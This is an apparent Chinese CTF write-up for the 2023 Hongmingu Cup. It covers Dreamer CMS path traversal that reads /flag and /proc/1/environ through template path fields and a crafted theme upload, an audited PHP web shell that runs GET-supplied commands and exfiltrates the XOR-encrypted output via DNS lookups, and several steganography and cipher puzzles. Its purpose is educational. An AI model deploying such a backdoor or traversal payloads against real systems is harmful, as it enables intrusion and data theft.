2023红明谷杯部分WP
字数 2092 2025-08-11 08:36:35
Dreamer CMS漏洞分析与利用教学文档
0x00 签到题
- 类型:简单交互
- 解法:持续点击页面即可获得flag
- 关键点:无技术含量,纯交互测试
0x01 Dreamer CMS漏洞利用
漏洞背景
- 目标系统:Dreamer CMS
- 漏洞类型:后台设置栏目存在任意文件读取漏洞
- 影响版本:未明确,但演示中心存在此漏洞
利用步骤
-
访问演示中心:
- 通过官网查找并进入Dreamer CMS演示中心
-
后台登录:
- 使用默认或已知凭证登录后台管理系统
-
栏目管理操作:
- 导航至"栏目/文章" → "栏目管理"
- 创建新的顶级栏目(如命名为"测试")
-
利用漏洞:
- 在"封面模版"字段输入路径:
..flag - 保存设置
- 在"封面模版"字段输入路径:
-
获取flag:
- 访问前台对应的顶级栏目页面
- 系统会读取并显示
/flag文件内容
技术原理
- 路径遍历漏洞:系统未对用户输入的路径进行严格过滤
- 后台功能滥用:通过栏目设置的模板路径参数实现文件读取
0x02 Dreamer_revenge进阶利用
漏洞升级
- 同Dreamer CMS,但增加了防护措施
- 需要更复杂的利用方式
方法一:路径遍历读取环境变量
- 沿用上题方法,但读取路径改为:
..proc/1/environ - 通过环境变量获取敏感信息或flag
方法二:模板主题漏洞利用
-
复制主题:
- 复制
default_v2目录为default_v3
- 复制
-
修改配置文件:
- 编辑
theme.json文件 - 将
themePath值改为..(上级目录)
- 编辑
-
打包上传:
- 将
default_v3打包为ZIP文件 - 在后台"风格管理"处上传并启用该主题
- 将
-
访问根目录:
- 通过模板管理功能可访问系统根目录
- 读取
/proc/1/environ获取flag
技术原理
- 主题路径配置不当导致目录遍历
- 通过主题覆盖实现权限提升
0x03 Hacker题目分析
代码审计
// 数据库连接配置
$servername="127.0.0.1";
$username="root";
$password="123456";
$dbname="zentao";
// 查询管理员密码
$conn=new PDO("mysql:host=$servername;dbname=$dbname",$username,$password);
$stmt=$conn->prepare("SELECT password FROM zt_user WHERE account='admin'");
$stmt->execute();
$result=$stmt->fetch(PDO::FETCH_ASSOC);
$password=$result["password"];
// 命令执行与数据外带
$param=$_GET["cmd"];
$output=shell_exec($param);
$hex_output=bin2hex($output);
$hex_password=bin2hex($password);
// XOR加密与DNS外带
$hex_xor="";
for ($i=0;$i<$len_output;$i++) {
$char_output=$hex_output[$i];
$char_password=$hex_password[$i%$len_password];
$char_xor=dechex(hexdec($char_output)^hexdec($char_password));
// 分段外带
if(strlen($hex_xor.$char_xor)>$max_subdomain_length) {
gethostbyname($subdomain);
$hex_xor="";
}
}
利用步骤
-
获取数据库凭证:
- 发现硬编码数据库凭证:root/123456
-
查询用户数据:
- 执行SQL:
SELECT account,password FROM zt_user - 获取admin密码哈希:
8a3e684c923b763d252cf1e8734a7a29
- 执行SQL:
-
分析数据外带机制:
- 命令执行结果通过XOR加密
- 使用DNS子域名外带数据
-
解密外带数据:
- 收集所有DNS查询数据段
- 使用已知密码进行XOR解密
-
处理解密数据:
- 发现数据分段异常,需要特殊处理:
- 第1段:[0:]完整
- 第2段:[1:]并去掉最后一位
- 第3段:[2:]
- 第4段:[4:]
- 解密结果开头可能丢失1-2位字符
- 发现数据分段异常,需要特殊处理:
-
DNA密码解码:
- 使用DNA Cipher解码最终flag
- 替换规则:
'AAA':'a', 'AAC':'b', 'AAG':'c', 'AAT':'d' 'ACA':'e', 'ACC':'f', ..., 'TTC':'0' - 最终flag格式为UUID:
flag{d1ee664e-babd-11ed-bb75-00155db0066}
0x04 阿尼亚隐写术
解题步骤
-
识别工具:
- 图片
netpixeljihad.png提示使用PixelJihad工具 - 在线工具:https://sekao.net/pixeljihad/
- 图片
-
获取密码:
- 图片末尾附加数字串
- 进行两次HEX解码得到密码
-
解密隐写:
- 使用PixelJihad工具和获取的密码解密
- 得到压缩包
-
最终解码:
- 使用https://www.dcode.fr/decabit-code解码压缩包内容
0x05 X光的秘密
解题步骤
-
查看DICOM文件:
- 使用microDicom软件查看
- 导出为图片文件(不包含注解)
-
分析图片:
- 使用Stegsolve检查多帧图片
- 发现最后三帧(task_Frame18/19/20.png)有LSB隐写痕迹
-
提取隐写数据:
- 三张图片的LSB数据组合形成新数据
- 处理顺序:18→19→20
-
数据重组:
# 提取二进制数据 for i in range(len(file_list)): with open(file_list[i], 'rb') as f: data = f.read() bin_data += "{:08b}".format(data[idx]) # 组合二进制位 for i in range(len(bin_data1)): all_bin_data += bin_data1[i] + bin_data2[i] + bin_data3[i] # 转换为图片 for i in range(0, len(all_bin_data), 8): hex_data += "{:02x}".format(int(all_bin_data[i:i+8], 2)) -
生成flag图片:
- 将重组后的十六进制数据写入PNG文件
- 打开生成的图片获取flag
参考资源
- Dreamer CMS漏洞分析:https://forum.butian.net/index.php/share/2183
- DNA密码脚本:https://github.com/karma9874/DNA-Cipher-Script-CTF
- PixelJihad工具:https://sekao.net/pixeljihad/
- Decabit解码:https://www.dcode.fr/decabit-code
- 相关技术分析:https://blog.csdn.net/mochu7777777/article/details/130255217
总结
本教学文档详细分析了2023红明谷杯CTF比赛中多个题目的解题思路和技术细节,涵盖了:
- CMS漏洞利用(路径遍历、主题覆盖)
- 代码审计与数据外带分析
- 多种隐写术解法(PixelJihad、LSB隐写)
- 医疗图像中的信息隐藏
- 密码学分析(XOR加密、DNA密码)
关键点在于理解各种漏洞的利用原理和数据处理的精确方法,特别是在处理分段加密数据时需要注意数据截断和重组的方式。